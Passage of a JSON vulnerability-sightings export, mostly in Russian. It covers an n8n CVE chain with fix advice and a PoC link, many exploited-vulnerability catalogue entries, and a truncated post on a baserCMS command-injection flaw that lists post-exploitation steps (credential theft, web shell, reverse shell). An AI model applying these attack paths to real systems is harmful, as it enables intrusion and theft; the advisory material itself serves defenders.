\u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0439.\n\n4. Expression Injection \u2014 CVE-2025-68613 (\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445)\n   \u0421\u0430\u043c\u044b\u0439 \u201c\u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u044b\u0439\u201d \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e: \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0440\u0435\u0434\u043a\u0438\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0434\u0435.\n\n\ud83e\udde0 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e\n\u2014 n8n - \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u0434\u0430\u0447 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u0447\u0430\u0441\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u043a\u0430\u043a \u201c\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043a\u043b\u0435\u0439\u201d \u0438 \u0434\u0435\u0440\u0436\u0438\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u043a\u043e \u0432\u0441\u0435\u043c\u0443: API-\u043a\u043b\u044e\u0447\u0438, \u0442\u043e\u043a\u0435\u043d\u044b, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, webhook-\u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n\u2014 AFR \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u201c\u0434\u043e\u0441\u0442\u0430\u043d\u044c \u0441\u0435\u043a\u0440\u0435\u0442 \u2192 \u0440\u0430\u0441\u0448\u0438\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u2192 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0441\u044c\u201d.\n\u2014 Expression Injection \u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u043f\u043e\u0440\u043e\u0433 \u0432\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0439.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438\n1. \u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c n8n \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0443) \u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0435\u043b\u0438\u0437-\u043d\u043e\u0442\u044b \u043f\u043e \u0432\u0441\u0435\u043c CVE \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435.\n2. \u0423\u0431\u0440\u0430\u0442\u044c n8n \u0438\u0437 \u043f\u0440\u044f\u043c\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u044d\u043a\u0441\u043f\u043e\u0437\u0438\u0446\u0438\u0438: VPN/allowlist/SSO, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440, \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u044d\u043d\u0434\u043f\u043e\u0439\u043d\u0442\u043e\u0432.\n3. \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 webhook/forms: \u043a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043d\u0443\u0436\u043d\u044b, \u043a\u0430\u043a\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0434\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u044b.\n4. \u0420\u043e\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f: \u0435\u0441\u043b\u0438 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u043c\u043e\u0433 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437\u0432\u043d\u0435 \u2014 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b/\u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438.\n5. \u0414\u043b\u044f SOC: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u044b \u043d\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u043c \u044d\u043d\u0434\u043f\u043e\u0439\u043d\u0442\u0430\u043c \u0438 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b workflow (\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u043e\u043a\u0440\u0443\u0433 \u0444\u043e\u0440\u043c/\u0432\u0435\u0431\u0445\u0443\u043a\u043e\u0432).\n\n\u23f1\ufe0f \u0422\u0430\u0439\u043c\u043b\u0430\u0439\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432\n\u2022 2025-11-18 \u2014 VENDOR_FIX_RELEASED\n\u0412\u044b\u0448\u043b\u0430 n8n 1.121.0 \u2014 \u0432\u0435\u0440\u0441\u0438\u044f \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c (\u043f\u0430\u0442\u0447 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u043e\u0433\u043b\u0430\u0441\u043a\u0438).\n\u2022 2026-01-07 \u2014 VULN_PUBLISHED\n\u0417\u0430\u043f\u0438\u0441\u044c CVE \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 NVD (published date).\n\u2022 2026-01-07 \u2014 VENDOR_ADVISORY_PUBLISHED\nGitHub Security Advisory (GHSA-v4pr-fm98-w9pg): affected >= 1.65.0 \u0438 < 1.121.0, patched 1.121.0, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 workaround \u043d\u0435\u0442.\n\u2022 2026-01-07 \u2014 THREAT_RESEARCH_PUBLISHED\n\u0422\u0435\u0445\u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 Cyera Research Labs: Ni8mare in n8n (CVE-2026-21858).\n\u2022 2026-01-07 11:09 \u2014 PUBLIC_POC_RELEASED\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC (\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 disclosure time).\n\n\ud83d\udd17 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\n\u2022 https://github.com/Chocapikk/CVE-2026-21858\n\u2022 https://nvd.nist.gov/vuln/detail/CVE-2025-68668\n\u2022 https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858", "creation_timestamp": "2026-08-06T00:00:56.980796Z"}, {"uuid": "9b068b5f-6553-4f5f-89ee-02aa82bde00e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-16)", "content": "", "creation_timestamp": "2026-06-16T00:00:00.000000Z"}, {"uuid": "d865783f-69e5-40fc-8bc3-e11a92685e90", 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"caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c25ba025-cf36-49ff-9efb-78a52843383c", "content": "", "creation_timestamp": "2026-06-19T12:45:35.746746Z"}, {"uuid": "20289f68-78a2-47ac-868f-5ae20cf78563", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21669", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2dd80c76-317d-45c9-8667-d8a996320f7b", "content": "", "creation_timestamp": "2026-06-19T12:45:38.255079Z"}, {"uuid": "7fa2adcd-11c8-4b9c-af31-b7c2788bde4b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8b7a6faa-7699-44a3-aed4-b067734eb1e4", "content": "", "creation_timestamp": "2026-06-19T12:45:17.751890Z"}, {"uuid": "6ef66ec8-031a-4b8f-9607-2d23159cc549", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c2d71b58-440b-4814-8396-971dbfee6f7b", "content": "", "creation_timestamp": "2026-06-19T12:45:17.314108Z"}, {"uuid": "a44c5c3b-2921-462e-81ea-1bbe1ac0fddd", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a9690fd6-f296-41f6-95d7-dc50d39f7d73", "content": "", "creation_timestamp": "2026-06-19T12:45:17.507424Z"}, {"uuid": "84c54682-4235-437a-be51-c7a366d46641", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/23d8a15a-c179-4a42-b121-1b8f9cddba30", "content": "", "creation_timestamp": "2026-06-19T12:45:17.600665Z"}, {"uuid": "0cd4b71b-c9b1-4da3-b7aa-5da84e81ad2e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21708", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b9b80ca2-4639-4e2c-bf55-01d1bffd3dca", "content": "", "creation_timestamp": "2026-06-19T12:45:38.326795Z"}, {"uuid": "b393cea0-3c34-4128-9172-68c4a33411c0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0c5c0fcb-958b-4a78-a9d4-1f5172434f5a", "content": "", "creation_timestamp": "2026-06-19T12:45:17.221768Z"}, {"uuid": "c4619d3f-e7a2-42c8-806f-2f9c7d622b30", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/44721df9-1998-434c-88a4-1661d26d7b78", "content": "", "creation_timestamp": "2026-06-19T12:45:17.395977Z"}, {"uuid": "87c1c313-1df9-4aae-8ca8-fc1e6586274c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9f86ea69-c064-4485-8774-3c9352c606aa", "content": "", "creation_timestamp": "2026-06-19T12:45:37.275459Z"}, {"uuid": "35b8fdd5-7209-41b9-a381-0af9aada63f0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bf81f91b-fff0-4538-9e3e-a07f7cfc0199", "content": "", "creation_timestamp": "2026-06-19T12:45:40.508979Z"}, {"uuid": "c899ec88-cc67-4166-bd25-b970cb92a5f3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/769d053b-f9cf-4f35-8fb6-17e7b4fb1790", "content": "", "creation_timestamp": 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"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7b11a6f0-71da-445e-8a7a-9163bd3c9a04", "content": "", "creation_timestamp": "2026-06-19T12:45:37.566309Z"}, {"uuid": "453bb69b-dce8-47b3-a94a-3f79027fc534", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21666", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aca3a71c-bf1a-44e9-af84-0d0490be11f9", "content": "", "creation_timestamp": "2026-06-19T12:45:38.402909Z"}, {"uuid": "e520d1c8-7ab5-415b-8bf8-828fcf0209ba", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21667", "type": "exploited", "source": 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"6e4e759e-5388-411d-9f54-6a8ce3a5a9b2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/af96860d-c819-4f08-b6d8-0e0f28763ce1", "content": "", "creation_timestamp": "2026-06-23T14:03:09.897184Z"}, {"uuid": "422eefed-e688-470a-bd20-625487a597ba", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/82511421-8748-4c5b-8ef3-1deffaba12cd", "content": "", "creation_timestamp": "2026-06-23T14:03:40.070102Z"}, {"uuid": "0b5a168f-d4fd-4339-95d9-e82be231ee3f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1e67a2d9-8a79-4533-abf3-3cbc62d0e8c3", "content": "", "creation_timestamp": "2026-06-23T14:03:43.863177Z"}, {"uuid": "9dfe36fd-29e3-4d13-862a-2db2d9e868b1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7d544923-30a9-442a-8e1d-621a2e2d09ed", "content": "", "creation_timestamp": "2026-06-23T14:03:43.931712Z"}, {"uuid": "f80c1191-542b-461b-a157-499c3f1e24dd", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b4b7cc97-56f6-4334-b681-fd5e2026404e", "content": "", "creation_timestamp": "2026-06-23T14:03:43.996997Z"}, {"uuid": "72116f93-cac9-41e6-9a1d-24fdb1d841c0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/32755d3c-ef58-49e5-ae31-5d69e2fdcf75", "content": "", "creation_timestamp": "2026-06-23T14:03:43.667659Z"}, {"uuid": "e189cf7b-329b-4725-98aa-dbecd8ffaeaf", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21525", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5253d4b7-24e5-4c19-85bc-3ebf3f53e0a4", "content": "", "creation_timestamp": "2026-06-23T14:03:43.731803Z"}, {"uuid": "29fb3dee-f52f-4705-af99-41a607e2205a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a44a5685-423c-437a-9316-b151947c74ed", "content": "", "creation_timestamp": "2026-06-23T14:03:43.797621Z"}, {"uuid": "e6241de1-fbd1-41cb-948c-d27d81f7d824", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/33aba402-8b0b-47e6-a0ca-9a979a560b9f", "content": "", "creation_timestamp": "2026-06-23T14:03:44.823240Z"}, {"uuid": "ccf28e10-f399-4825-a35f-4a8f7d50863b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c75674c1-66d5-45f5-a062-9953e28e3f26", "content": "", "creation_timestamp": "2026-06-23T14:03:42.466357Z"}, {"uuid": "48f3296a-f896-41a5-8722-9e737cce05e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21861", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/10343", "content": "POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2192 exec() \u2192 shell: \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043a\u043e\u0434\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u043a\u0443 CMS \u0432 \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435: \u0432\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 CMS, \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442\u0435 \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e\u00bb, \u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c php. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u2014 \u043f\u0443\u0442\u044c \u043a PHP-\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0443 \u2014 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0443\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u044f\u043c\u0438\u043a\u043e\u043c \u0432 exec(). \u041d\u0438 escapeshellarg(), \u043d\u0438 allowlist, \u043d\u0438 regex. \u0413\u043e\u043b\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0432\u0432\u043e\u0434 \u0432 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u0435. 2026 \u0433\u043e\u0434 \u043d\u0430 \u0434\u0432\u043e\u0440\u0435.\n\n\u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0430\u0442\u0447\u0430 baserCMS 5.2.3. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b \u0441\u0440\u0430\u0437\u0443 \u0434\u0432\u0430 CVE \u2014 CVE-2026-21861 \u0438 CVE-2026-30877 \u2014 \u043e\u0431\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.1 (CRITICAL). CISA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e PoC.\n\n\ud83d\udd0e\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u0435\u0435, \u0447\u0435\u043c \u043a\u0430\u0436\u0435\u0442\u0441\u044f?\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f: \u00ab\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0443\u0436\u0435 \u0430\u0434\u043c\u0438\u043d, \u0447\u0442\u043e \u0435\u043c\u0443 \u0435\u0449\u0451 \u043d\u0443\u0436\u043d\u043e?\u00bb \u041e\u0442\u0432\u0435\u0442 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 CVSS-\u0444\u043b\u0430\u0433\u0435 Scope: Changed. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 CMS \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c \u2014 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438, \u043c\u0435\u0434\u0438\u0430\u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u043c\u0438. OS command injection \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b:\n\n\u2022 \u0427\u0442\u0435\u043d\u0438\u0435 DB-credentials \u0438\u0437 \u043a\u043e\u043d\u0444\u0438\u0433\u043e\u0432 CakePHP, SSH-\u043a\u043b\u044e\u0447\u0435\u0439, API-\u0442\u043e\u043a\u0435\u043d\u043e\u0432\n\u2022 \u0417\u0430\u043f\u0438\u0441\u044c PHP-\u0448\u0435\u043b\u043b\u0430 \u0432 webroot \u2014 \u0441\u0435\u0441\u0441\u0438\u044f \u043f\u0440\u043e\u0442\u0443\u0445\u043d\u0435\u0442, \u0430 \u0448\u0435\u043b\u043b \u043e\u0441\u0442\u0430\u043d\u0435\u0442\u0441\u044f\n\u2022 Reverse shell \u0434\u043b\u044f pivot'\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0447\u0435\u0440\u0435\u0434\u044f\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c API\n\u2022 \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 www-data: \u0447\u0442\u0435\u043d\u0438\u0435 /etc/passwd, \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u043e\u0432\n\n\u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0433\u043e \u0430\u0434\u043c\u0438\u043d-\u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0447\u0435\u0440\u0435\u0437 credential stuffing \u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433, \u044d\u0442\u043e \u043c\u043e\u0441\u0442 \u043e\u0442 \u00ab\u043c\u043e\u0433\u0443 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u00bb \u043a \u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e \u043b\u044e\u0431\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435\u00bb.\n\n\u27a1\ufe0f\u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438?\n\n\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 PluginsController, \u043c\u0435\u0442\u043e\u0434 get_core_update(). \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 